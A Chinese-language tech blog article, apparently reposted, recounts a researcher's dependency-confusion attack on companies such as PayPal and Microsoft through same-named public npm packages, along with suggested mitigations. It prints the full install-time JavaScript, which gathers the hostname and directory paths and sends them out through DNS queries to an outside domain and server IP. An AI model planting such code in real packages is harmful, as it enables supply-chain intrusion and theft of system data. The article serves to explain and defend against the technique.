利用 Npm 的缺陷,他獲得了 130,000 美元的賞金
最近看到一個新聞,開眼了。
一個搞安全的程序員 Birsan, 利用 npm 的設計缺陷,成功進入了 35 個公司的內網系統,這些公司還是非常出名的,包括 Microsoft、Apple、PayPal、Tesla、Uber 等,也因此獲得了超過 130,000 美元的賞金。那么他是怎么做到的呢?
一些包管理工具,比如說 Python 的 pip,Node.js 的 npm,Java 的 maven,可以從開源的倉庫下載軟件包,同時自動管理依賴項。其實我們都假設這些軟件包是安全的,事實上,每個人都可以制作并上傳自己開發的軟件,一旦有人不懷好意,上傳一些別有用心的軟件包,你下載后軟件會自動安裝和執行,這就相當于被黑了。
問題是如何讓別人下載呢?開源軟件的代碼是公開的,有問題的軟件包被下載的概率很低,前攻擊者會依靠社會工程手段或將軟件命名為正常名稱易拼寫出錯的名稱,安裝時一旦拼寫錯誤,就下載了惡意軟件。這種方式有一定的局限性,只要稍微認真點,就不會出錯。
而 Birsan 用的是非常隱蔽的方式,就算軟件包的名稱完全正確,也有可能下載到惡意軟件。具體的過程是這樣的:
Birsan 發現了 PayPal 內部使用的 package.json,這里面有一些軟件包并不在公共倉庫中:
上圖中標紅色的部分,是 PayPal 內部使用的 npm 軟件包,由公司內部使用和存儲。看到這一點,Birsan 想知道,這些軟件包是私有的,如果在公共 npm 存儲庫中存在同名的軟件包會怎么樣?
為了檢驗這個假設,Birsan 開始尋找一些私有內部軟件包的名稱,這可以在 GitHub 倉庫或知名公司的 CDN 中的清單文件中找到,這些軟件包在公共開放源代碼倉庫中是不存在的。
然后,Birsan 在開源存儲庫(例如 npm,PyPI 和 RubyGems)上使用相同的名稱創建偽造項目。這些偽造的項目都是在他的真實帳戶下完成的,并且有免責聲明,并聲明此程序包用于安全研究目的,并且不包含任何有用的代碼。
結果發現,這些包管理工具會優先下載公共存儲庫上的軟件包,如果不指定軟件包的版本號,則優先下載高版本的軟件包。這樣,Birsan 只需發布與公司內部名稱相同的軟件包,就可以成功地對 Microsoft,Apple,PayPal,Shopify,Netflix,Tesla,Yelp 和 Uber 進行攻擊。
那么你可能想知道,如何進行攻擊的呢?軟件包管理器,比如 pip,npm,具有預安裝腳本,一旦下載就會進行安裝,安裝過程執行的代碼就是黑客寫好的代碼,至于這些代碼具體能做什么事情,寫過程序的人都知道,你可以發揮想象。鑒于大多數公司網絡都被保護的很好,想滲透沒那么容易,Birsan 使用的是 DNS 滲透。
下面顯示的代碼就是 Birsan 制作的 npm 軟件包 analytics-paypal(該軟件包現在已從 npm 中刪除)。
- const dns = require('dns');
- const os = require("os");
- const suffix = '.dns.alexbirsan-hacks-paypal.com';
- const package = 'analytics-paypal';
- data = package +
- '__' + os.hostname() +
- '__' + os.homedir() +
- '__' + __dirname;
- data = data.replace(/[^a-zA-Z0-9._]/g,
- function(m){
- return '_' + m.charCodeAt(0).toString(16);
- });
- data = data.match(/.{1,50}/g);
- dns.setServers(['46.101.225.109']);
- id = Math.random().toString(36).substring(7);
- data.forEach(function(chunk){
- dns.resolve(id + '.' + chunk + suffix, 'A',console.log)
- });
該腳本將在 analytics-paypal 依賴項被下載后立即自動啟動,并向 dns.alexbirsan-hacks-paypal.com 發出 DNS 請求。從 PayPal 系統收到的回叫會提醒 Birsan,發出請求的 IP 屬于貝寶 PayPal ,以及用戶名和受感染系統的主目錄。
充分驗證這些假冒的軟件包已成功滲透到公司網絡后,Birsan 隨后將其報告給這些被入侵的公司,并因此獲得賞金。這些漏洞賞金計劃讓 Birsan 累計獲得了 13 萬美元的獎勵。
那么這些公司都是如何修復的呢?修復可能會比較難,因為 pip,npm 是開源工具,工具本身存在缺陷,解鈴還須系鈴人,最好的解決辦法就是維護一個健康的開源生態,比如給這些工具提供更安全的配置,對開源倉庫中提交的軟件包進行審核等等。
開源工具的缺陷并不是某一公司的問題,但可以對這些缺陷進行緩解,比如對于私有的軟件包,使用前可以進行簽名校驗,確保該軟件包來自于公司內部。
最后的話
我自己使用 pip,npm 時只是覺得它們如此的方便,非常依賴它們,以至于從未懷疑這些工具也存在安全問題,所謂最依賴的工具一旦出了問題也是最致命的,如果你的公司也存在類似的情況,是時候做出一些改進了。
從 Birsan 的經歷中也可以看出,如果你有一個有趣的想法,請立即去驗證它,無論結果如何,你都不虛此行。
本文轉載自微信公眾號「Python七號」,可以通過以下二維碼關注。轉載本文請聯系Python七號公眾號。